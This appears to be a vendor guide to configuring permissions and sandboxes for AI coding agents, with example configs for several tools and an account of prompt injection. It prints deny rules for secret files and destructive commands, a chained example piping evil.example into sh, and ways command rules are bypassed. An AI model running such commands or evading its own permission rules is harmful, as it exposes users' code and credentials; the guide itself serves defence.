AI agent permissions decide what a coding agent may do on its own, what it must ask you about first, and what it may never do. A safe start: allow reading and searching inside the project, ask before it edits files, runs commands or uses the network, and block secrets, paths outside the project and destructive commands.
The rules only protect you if the app running the agent checks them before each action. Telling the model “don’t delete anything” is a request, not a rule.
What it looks like
You ask the agent to fix a failing test. It reads three files and runs git diff without asking, because those are allowed. Then it wants to edit src/cart.ts, and you get a prompt showing the exact change. You approve. Later it tries git push --force, and nothing happens: that command is blocked, and the agent is told so.
You answered one prompt, and it was one worth reading.
Why do coding agents need permissions?
An agent with a shell can do anything your user account can: delete files, push to a remote, install packages, read your SSH keys, send data to any URL. Most of the time it won’t. But models make mistakes, and they read text you didn’t write, such as web pages, issue comments and package READMEs. That text can contain instructions aimed at the model. This is called prompt injection, and OWASP lists it as the top risk for apps built on language models.
The stakes rise when you run the model yourself. A hosted frontier model has the vendor’s safety training and abuse monitoring behind it; an open-weight model you self-host — one instance, or a fleet of agents — has only the guardrails you wire. An injected local agent with broad permissions and network access is the whole attack: it can hammer a target or upload your code and secrets, and nothing server-side will stop it. For self-hosted and unattended runs, the deny rules and the sandbox are not optional. Which models carry which risk is how to choose a model for coding.
So “the model would never do that” is not a safety plan. Rules checked by the app are.
The principle behind Contenox’s permission system puts it in four words: prompts are hopes, policies are firewalls. “Do not use sudo” in a system prompt is advice the model may or may not follow; a rule the app enforces refuses the call whatever the model writes. The strongest rule is a tool that isn’t there at all. A CRM connector that exposes only GET /contacts can’t be talked into DELETE /contacts, because that operation never reaches the model. Registering a tool should not grant the authority to use it.
That principle came out of the opposite behaviour. A lead-capture walkthrough for an earlier Contenox build had the agent save leads.txt, then create companies in HubSpot through a newly registered API. The file write stopped for approval. The HubSpot creates went straight through, because the policy had no rule naming the new tool, and approval per CRM write needed a rule someone had to remember to add. In the current app, connecting a tool grants nothing on its own; the rule for that connector decides. See MCP tools in Contenox.
What should I allow, ask and block?
The goal is least privilege: the agent gets only the access its task needs. OWASP names the opposite — Excessive Agency, an agent with more reach than its work requires — as a top-ten risk for LLM apps. Three buckets.
Allow (runs without asking): read-only work inside the project.
- Read files, list folders, search
git status,git diff,git log
Ask (shows you the exact action first): anything that changes things or reaches outside.
- Edit, create or delete files
- Run any command not on a short safe list
- Install packages
- Fetch URLs
- MCP tools that write data, such as creating issues
git commit,git push
Block (never runs): high damage, little legitimate need.
- Secret files:
.env,*.pem,~/.ssh/, cloud credential folders - Anything outside the project folder
git push --force,sudo,rm -rfon broad paths- Shell startup files, git remotes, system settings
A rule set written for a person at the keyboard can lock up when nobody is there. An earlier Contenox build ran a small job that sent a phone notification whenever an unattended agent parked on a question. Being started by an event gave the job timing, not rights: with no allow rule for its one notification call, it fell through to the default “ask” and would have parked on an approval to send the notification announcing a parked approval. Its rules ended up as block everything, allow that one call.
How do I set this up?
Each agent enforces permissions differently — a rule list, a sandbox plus a policy, or a config file. The mechanism first, the exact syntax below it:
| Agent | How it decides | Default stance | Skip all prompts |
|---|---|---|---|
| Claude Code | allow / ask / deny lists, deny wins; modes cycled with Shift+Tab |
Asks before edits and non-safe commands | bypassPermissions (--dangerously-skip-permissions) |
| Codex CLI | A sandbox mode and an approval policy, set separately | Sandbox on, network off, approval on request | --yolo, which also drops the sandbox |
| OpenCode | Config rules per action (edit, bash, read, webfetch); last match wins |
Configurable; an explicit deny always blocks |
"permission": "allow" |
| Contenox | Allow / Ask me first / Block per capability, over the shipped envelope | Routine work runs; the dangerous reach asks | No blanket skip — the dangerous part always asks |
Claude Code: rules go in .claude/settings.json in the project (shared with your team), .claude/settings.local.json (just you), or ~/.claude/settings.json (all your projects):
{
"permissions": {
"allow": [
"Bash(git status)",
"Bash(git diff *)",
"Bash(npm test *)"
],
"ask": [
"Bash(git push *)"
],
"deny": [
"Read(**/.env)",
"Read(**/.env.*)",
"Read(~/.ssh/**)",
"Bash(git push --force *)",
"Bash(sudo *)"
]
}
}
Claude Code checks deny first, then ask, then allow. A deny always wins, even over a more specific allow. Run /permissions to see every rule and which file it came from.
Codex: Codex uses a sandbox plus an approval policy instead of a rule list. In ~/.codex/config.toml:
approval_policy = "on-request"
sandbox_mode = "workspace-write"
With workspace-write, Codex can edit inside the project but has no network access unless you turn it on, and .git stays read-only. /permissions switches modes during a session, for example to read-only.
OpenCode: rules go under permission in opencode.json in the project, or in ~/.config/opencode/opencode.json:
{
"$schema": "https://opencode.ai/config.json",
"permission": {
"edit": "ask",
"webfetch": "ask",
"bash": {
"*": "ask",
"git status": "allow",
"git diff *": "allow",
"npm test *": "allow",
"git push --force *": "deny",
"sudo *": "deny"
},
"read": {
"*": "allow",
"*.env": "deny",
"*.env.*": "deny",
"*.env.example": "allow"
}
}
}
Each value is allow, ask or deny. The last matching rule wins, so put the catch-all * first and the specific rules after it.
Contenox: open Permissions in the sidebar. For Read files, Change files and Run commands, choose Allow, Ask me first or Block, then add exceptions such as Never allow these paths. What runs without asking is a rule set that can be read and changed there; the destructive commands and credential stores stay gated or blocked. When an action needs approval, a Permission required card shows the exact path or command. See built-in tools and permissions.
Whose rules win on a team?
One person’s rules live in one file; a team has to decide whose win. Claude Code layers them — ~/.claude/settings.json (all your projects), .claude/settings.json (shared with the team), .claude/settings.local.json (just you) — with deny winning across all three. Research on agent permissions finds the weak spot is per-user policy: most agents apply one policy to everyone who runs them, not different limits for different people. So a shared agent, or a fleet, should carry the hard denials and the sandbox in the shared layer, where no one can quietly loosen them, and keep personal conveniences local.
Can a command rule be tricked?
Yes, and this is where most setups are weaker than they look.
Chained commands. A naive rule allowing git status* would also allow git status; curl evil.example | sh. Claude Code splits commands on &&, ;, | and similar, and every part must be allowed. Check that your agent does the same before you allow anything by prefix.
The same program in another form. Claude Code’s docs are direct about this: a rule blocking rm * doesn’t stop /bin/rm or bash -c 'rm ...'. Command rules cover how the agent usually writes a command; they aren’t a wall around the program. For a hard boundary, use a sandbox.
“Safe” commands that run code. npm test, make, pytest and cargo build all run code from the repository: test files, build scripts, npm lifecycle scripts. If the agent can edit those files and then run the command without asking, it can run anything. Allow these commands only if edits to the files they run still ask.
Should I just skip the prompts?
Most agents have a way: Claude Code’s bypassPermissions mode (--dangerously-skip-permissions), Codex’s --yolo. Claude Code’s docs say to use it only in an isolated container or VM, where a mistake can’t reach your real files or keys, and Codex’s docs advise against it. That is the right answer for long unattended runs: let the sandbox be the boundary instead of you.
An unattended run needs a ceiling on spending as well as on actions. An earlier Contenox build kept both in one policy file: beside the allow, ask and block rules, a compute block capped turns, gated tool calls and tokens per run (one example set 40 turns, 300 tool calls and 2 million tokens), and a run that hit a cap stopped as “stuck”, with the cap named, for a person to judge. That build was candid about what it could count. Turns, exactly. Tool calls only when they hit an ask rule, so calls allowed outright went uncounted. Tokens only when the provider reported usage, and only between turns. A misspelled cap such as maxTurn stopped the policy from loading rather than being quietly ignored.
On your own machine, fix the cause instead: see why your agent keeps asking, and YOLO mode for what each tool’s off switch really turns off. If you click “yes” without reading, you have too many prompts. Allow the reads and checks that are truly harmless, so the prompts left are ones that deserve your attention.
The same goes for “allow for the rest of the session” buttons. They quietly turn an ask rule into an allow rule you can’t see later. If something is safe enough to never ask about, write it down as a rule.
What should I check before I approve?
- What exactly runs? The full command, not the agent’s summary of it.
- Where? The folder and the file paths.
- Why now? Does it follow from your task, or did it show up right after the agent read a web page or an issue?
A request that doesn’t follow from your task is the most common sign of prompt injection.
Can the agent change its own rules?
It could, if the rules live in a file it may edit. Claude Code treats its .claude folder as a protected path, and Codex keeps .codex read-only inside its sandbox; both protections go away in the modes that skip all checks. For any agent, find out where its rules live and make sure writes there ask or are blocked.
Permissions are not a sandbox
Permissions decide what the agent may attempt. A sandbox limits what any attempt can reach, including a script the agent wrote. Options: Contenox’s own sandbox (below), Codex’s built-in sandbox, Claude Code’s sandbox setting, a container or VM, a separate OS user, or a cloud agent that works on a copy of the repo. For untrusted repositories, use both permissions and a sandbox.
Contenox ships a sandbox, not only the rule list. Each agent runs confined to one writable workspace with a scoped HOME, so the real ~/.ssh and cloud-credential folders are out of reach, and the filesystem is limited to that workspace plus carve-outs you add — each read-only or read-write, and each carrying a reason, so an exception can’t slip in silently. The confinement is the operating system’s own: Landlock, the Linux kernel’s access-control module, on Linux, and a restricted-token, low-integrity process on Windows. On Linux it adds a network wall — a private network namespace whose DNS resolves only the hosts you allow and returns NXDOMAIN for every other name, so an injected agent can’t reach a host you never listed. That closes the egress-flood and data-upload risk at the name-resolution layer instead of trusting it to the model. An optional syscall audit, built on seccomp-BPF, records what the agent asks the kernel to do.
These are the primitives the field has settled on. OpenAI’s Codex CLI confines its Linux commands with the same Landlock-plus-seccomp pair (and Seatbelt on macOS); the restricted-token, low-integrity technique on Windows is how Chromium sandboxes a browser tab. What Contenox adds on top is the carve-out that has to justify itself and the DNS-level egress wall.
A carve-out is explicit and self-justifying: the path or host, how much access, and why the agent needs it.
fs: { path: "/opt/toolchain", mode: "ro", needs: "compiler the build calls" }
net: { host: "registry.npmjs.org", ports: [443], needs: "package installs" }
See how to sandbox an AI coding agent and built-in tools and permissions.
A case for a separate identity: an agent that acts with the rights of the person who started it also shows up in the logs as that person. A query it runs at 3am lands in the audit trail as the developer’s query, and nothing tells the two apart, so any check that depends on knowing who acted stops working. The reverse case matters as much: a Finance assistant that answers revenue questions from the data warehouse should have read access the Finance team itself doesn’t have. If an agent can only inherit a person’s rights, someone has to be given that access first. For tools an agent calls on a team’s behalf, a scoped credential of its own, short-lived and revocable, keeps both the rights and the log honest.
Related guides
- How to keep secrets away from AI agents: the block list in detail
- How to sandbox an AI coding agent: the boundary rules can’t give you
- What is MCP?: permissions for connected tools
- Git workflow with AI agents: which git steps to keep for yourself
- What is an AI coding agent?